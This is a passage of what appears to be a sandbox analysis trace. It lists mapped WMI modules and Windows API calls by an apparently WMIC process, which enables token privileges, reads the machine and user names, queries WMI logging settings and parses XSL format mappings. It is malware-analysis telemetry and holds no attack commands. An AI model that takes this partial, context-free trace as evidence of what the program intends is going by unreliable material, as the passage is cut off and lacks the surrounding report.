= 0x73df0000 end_va = 0x73e00fff entry_point = 0x73df0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 15761 start_va = 0x72be0000 end_va = 0x72c9bfff entry_point = 0x72be0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 15762 start_va = 0x6dd0000 end_va = 0x6ddcfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006dd0000" filename = "" Region: id = 15867 start_va = 0x73db0000 end_va = 0x73dcdfff entry_point = 0x73db0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 15868 start_va = 0x6dd0000 end_va = 0x6dd4fff entry_point = 0x6dd0000 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Thread: id = 287 os_tid = 0x8f8 [0316.334] GetModuleHandleA (lpModuleName=0x0) returned 0xc80000 [0316.334] __set_app_type (_Type=0x1) [0316.334] __p__fmode () returned 0x77454d6c [0316.334] __p__commode () returned 0x77455b1c [0316.334] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcbaa90) returned 0x0 [0316.334] __wgetmainargs (in: _Argc=0xcc91a8, _Argv=0xcc91ac, _Env=0xcc91b0, _DoWildCard=0, _StartInfo=0xcc91bc | out: _Argc=0xcc91a8, _Argv=0xcc91ac, _Env=0xcc91b0) returned 0 [0316.334] ??0CHString@@QAE@XZ () returned 0xcc95ec [0316.334] ??0CHString@@QAE@XZ () returned 0xcc98fc [0316.334] ?Empty@CHString@@QAEXXZ () returned 0x73e46424 [0316.334] SetConsoleCtrlHandler (HandlerRoutine=0xcb4980, Add=1) returned 1 [0316.335] _onexit (_Func=0xcc0a20) returned 0xcc0a20 [0316.335] _onexit (_Func=0xcc0a30) returned 0xcc0a30 [0316.335] _onexit (_Func=0xcc0a50) returned 0xcc0a50 [0316.335] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0316.335] ResolveDelayLoadedAPI () returned 0x74a4cd50 [0316.335] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0316.337] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0316.356] CoCreateInstance (in: rclsid=0xc86a1c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc86a2c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xcc9510 | out: ppv=0xcc9510*=0x5093098) returned 0x0 [0316.367] GetCurrentProcess () returned 0xffffffff [0316.367] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x4fffa70 | out: TokenHandle=0x4fffa70*=0x174) returned 1 [0316.367] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4fffa6c | out: TokenInformation=0x0, ReturnLength=0x4fffa6c) returned 0 [0316.367] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x3, TokenInformation=0x5483c60, TokenInformationLength=0x118, ReturnLength=0x4fffa6c | out: TokenInformation=0x5483c60, ReturnLength=0x4fffa6c) returned 1 [0316.367] AdjustTokenPrivileges (in: TokenHandle=0x174, DisableAllPrivileges=0, NewState=0x5483c60*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0316.367] CloseHandle (hObject=0x174) returned 1 [0316.367] SetThreadUILanguage (LangId=0x0) returned 0x409 [0316.367] _vsnwprintf (in: _Buffer=0x5483ca8, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x4fff9f8 | out: _Buffer="ms_409") returned 6 [0316.367] GetComputerNameW (in: lpBuffer=0x5483cf0, nSize=0x4fffa5c | out: lpBuffer="LHNIWSJ", nSize=0x4fffa5c) returned 1 [0316.368] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.368] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.368] ResolveDelayLoadedAPI () returned 0x7457c5f0 [0316.368] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x4fffa70 | out: lpNameBuffer=0x0, nSize=0x4fffa70) returned 0x0 [0316.368] GetLastError () returned 0xea [0316.368] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x5483d30, nSize=0x4fffa70 | out: lpNameBuffer="LHNIWSJ\\CIiHmnxMn6Ps", nSize=0x4fffa70) returned 0x1 [0316.368] lstrlenW (lpString="") returned 0 [0316.369] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.369] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0316.370] lstrlenW (lpString=".") returned 1 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2=".", cchCount2=1) returned 3 [0316.370] lstrlenW (lpString="LOCALHOST") returned 9 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LOCALHOST", cchCount2=9) returned 1 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LHNIWSJ", cchCount2=7) returned 2 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] lstrlenW (lpString="LHNIWSJ") returned 7 [0316.370] ResolveDelayLoadedAPI () returned 0x77259840 [0316.373] SysStringLen (param_1="IDENTIFY") returned 0x8 [0316.373] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0316.373] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0316.373] SysStringLen (param_1="IDENTIFY") returned 0x8 [0316.373] SysStringLen (param_1="IMPERSONATE") returned 0xb [0316.373] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0316.373] SysStringLen (param_1="IMPERSONATE") returned 0xb [0316.373] SysStringLen (param_1="IDENTIFY") returned 0x8 [0316.373] SysStringLen (param_1="IDENTIFY") returned 0x8 [0316.373] SysStringLen (param_1="IMPERSONATE") returned 0xb [0316.373] SysStringLen (param_1="DELEGATE") returned 0x8 [0316.373] SysStringLen (param_1="IDENTIFY") returned 0x8 [0316.373] SysStringLen (param_1="DELEGATE") returned 0x8 [0316.373] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0316.373] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0316.373] SysStringLen (param_1="DELEGATE") returned 0x8 [0316.373] SysStringLen (param_1="NONE") returned 0x4 [0316.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.373] SysStringLen (param_1="NONE") returned 0x4 [0316.373] SysStringLen (param_1="CONNECT") returned 0x7 [0316.373] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.374] SysStringLen (param_1="CALL") returned 0x4 [0316.374] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.374] SysStringLen (param_1="CALL") returned 0x4 [0316.374] SysStringLen (param_1="CONNECT") returned 0x7 [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="NONE") returned 0x4 [0316.374] SysStringLen (param_1="NONE") returned 0x4 [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="NONE") returned 0x4 [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0316.374] SysStringLen (param_1="DEFAULT") returned 0x7 [0316.374] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0316.374] SysStringLen (param_1="PKT") returned 0x3 [0316.374] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0316.374] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0316.374] GetSystemDirectoryW (in: lpBuffer=0x5482b08, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0316.374] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0316.374] SysStringLen (param_1="\\wbem\\") returned 0x6 [0316.375] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0316.375] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0316.375] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0316.375] GetCurrentThreadId () returned 0x8f8 [0316.375] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x4fff580 | out: phkResult=0x4fff580*=0x17c) returned 0x0 [0316.375] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x4fff58c, lpcbData=0x4fff588*=0x400 | out: lpType=0x0, lpData=0x4fff58c*=0x30, lpcbData=0x4fff588*=0x4) returned 0x0 [0316.375] _wcsicmp (_String1="0", _String2="1") returned -1 [0316.375] _wcsicmp (_String1="0", _String2="2") returned -2 [0316.375] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x4fff588*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x4fff588*=0x42) returned 0x0 [0316.375] RegQueryValueExW (in: hKey=0x17c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x5482d10, lpcbData=0x4fff588*=0x42 | out: lpType=0x0, lpData=0x5482d10*=0x25, lpcbData=0x4fff588*=0x42) returned 0x0 [0316.375] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0316.375] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0316.375] RegQueryValueExW (in: hKey=0x17c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x4fff58c, lpcbData=0x4fff588*=0x400 | out: lpType=0x0, lpData=0x4fff58c*=0x36, lpcbData=0x4fff588*=0xc) returned 0x0 [0316.375] _wtol (_String="65536") returned 65536 [0316.375] RegCloseKey (hKey=0x0) returned 0x6 [0316.375] CoCreateInstance (in: rclsid=0xc86a7c*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc86a8c*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x4fffa20 | out: ppv=0x4fffa20*=0x6e045a8) returned 0x0 [0316.387] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x6e045a8, xmlSource=0x4fff9a0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x4fffa04 | out: isSuccessful=0x4fffa04*=0xffff) returned 0x0 [0316.419] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x6e045a8, DOMElement=0x4fffa18 | out: DOMElement=0x4fffa18*=0x6e06b48) returned 0x0 [0316.419] IXMLDOMElement:getElementsByTagName (in: This=0x6e06b48, tagName="XSLFORMAT", resultList=0x4fffa14 | out: resultList=0x4fffa14*=0x6e09ca0) returned 0x0 [0316.420] IXMLDOMNodeList:get_length (in: This=0x6e09ca0, listLength=0x4fffa0c | out: listLength=0x4fffa0c*=21) returned 0x0 [0316.420] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=0, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.420] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.420] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.420] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.420] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0316.420] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.420] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.420] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.420] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=1, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.420] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="textvaluelist.xsl") returned 0x0 [0316.420] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.421] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.421] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0316.421] SysStringLen (param_1="VALUE") returned 0x5 [0316.421] SysStringLen (param_1="TABLE") returned 0x5 [0316.421] SysStringLen (param_1="TABLE") returned 0x5 [0316.421] SysStringLen (param_1="VALUE") returned 0x5 [0316.421] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.421] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.421] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.421] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=2, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.421] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="textvaluelist.xsl") returned 0x0 [0316.421] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.421] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.421] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x0)) returned 0x0 [0316.421] SysStringLen (param_1="LIST") returned 0x4 [0316.421] SysStringLen (param_1="TABLE") returned 0x5 [0316.421] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.421] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.421] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.421] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=3, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.421] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="rawxml.xsl") returned 0x0 [0316.421] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.422] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.422] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0316.422] SysStringLen (param_1="RAWXML") returned 0x6 [0316.422] SysStringLen (param_1="TABLE") returned 0x5 [0316.422] SysStringLen (param_1="RAWXML") returned 0x6 [0316.422] SysStringLen (param_1="LIST") returned 0x4 [0316.422] SysStringLen (param_1="LIST") returned 0x4 [0316.422] SysStringLen (param_1="RAWXML") returned 0x6 [0316.422] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.422] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.422] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.422] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=4, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.422] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="htable.xsl") returned 0x0 [0316.422] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.422] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.422] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0316.422] SysStringLen (param_1="HTABLE") returned 0x6 [0316.422] SysStringLen (param_1="TABLE") returned 0x5 [0316.422] SysStringLen (param_1="HTABLE") returned 0x6 [0316.422] SysStringLen (param_1="LIST") returned 0x4 [0316.422] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.422] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.422] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.422] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=5, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.422] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="hform.xsl") returned 0x0 [0316.423] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.423] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.423] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0316.423] SysStringLen (param_1="HFORM") returned 0x5 [0316.423] SysStringLen (param_1="TABLE") returned 0x5 [0316.423] SysStringLen (param_1="HFORM") returned 0x5 [0316.423] SysStringLen (param_1="LIST") returned 0x4 [0316.423] SysStringLen (param_1="HFORM") returned 0x5 [0316.423] SysStringLen (param_1="HTABLE") returned 0x6 [0316.423] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.423] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.423] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.423] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=6, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.423] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="xml.xsl") returned 0x0 [0316.423] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.423] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.423] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x0)) returned 0x0 [0316.423] SysStringLen (param_1="XML") returned 0x3 [0316.423] SysStringLen (param_1="TABLE") returned 0x5 [0316.423] SysStringLen (param_1="XML") returned 0x3 [0316.423] SysStringLen (param_1="VALUE") returned 0x5 [0316.423] SysStringLen (param_1="VALUE") returned 0x5 [0316.423] SysStringLen (param_1="XML") returned 0x3 [0316.423] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.424] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.424] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.424] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=7, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.424] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="mof.xsl") returned 0x0 [0316.424] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.424] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.424] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x0)) returned 0x0 [0316.424] SysStringLen (param_1="MOF") returned 0x3 [0316.424] SysStringLen (param_1="TABLE") returned 0x5 [0316.424] SysStringLen (param_1="MOF") returned 0x3 [0316.424] SysStringLen (param_1="LIST") returned 0x4 [0316.424] SysStringLen (param_1="MOF") returned 0x3 [0316.424] SysStringLen (param_1="RAWXML") returned 0x6 [0316.424] SysStringLen (param_1="LIST") returned 0x4 [0316.424] SysStringLen (param_1="MOF") returned 0x3 [0316.424] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.424] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.424] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.424] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=8, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.424] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="csv.xsl") returned 0x0 [0316.424] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.424] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.424] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x0)) returned 0x0 [0316.425] SysStringLen (param_1="CSV") returned 0x3 [0316.425] SysStringLen (param_1="TABLE") returned 0x5 [0316.425] SysStringLen (param_1="CSV") returned 0x3 [0316.425] SysStringLen (param_1="LIST") returned 0x4 [0316.425] SysStringLen (param_1="CSV") returned 0x3 [0316.425] SysStringLen (param_1="HTABLE") returned 0x6 [0316.425] SysStringLen (param_1="CSV") returned 0x3 [0316.425] SysStringLen (param_1="HFORM") returned 0x5 [0316.425] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.425] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.425] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.425] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=9, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.425] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.425] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.425] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.425] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0316.425] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.425] SysStringLen (param_1="TABLE") returned 0x5 [0316.425] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.425] SysStringLen (param_1="VALUE") returned 0x5 [0316.425] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.425] SysStringLen (param_1="XML") returned 0x3 [0316.425] SysStringLen (param_1="XML") returned 0x3 [0316.425] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.425] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.426] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.426] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.426] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=10, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.426] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.426] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: 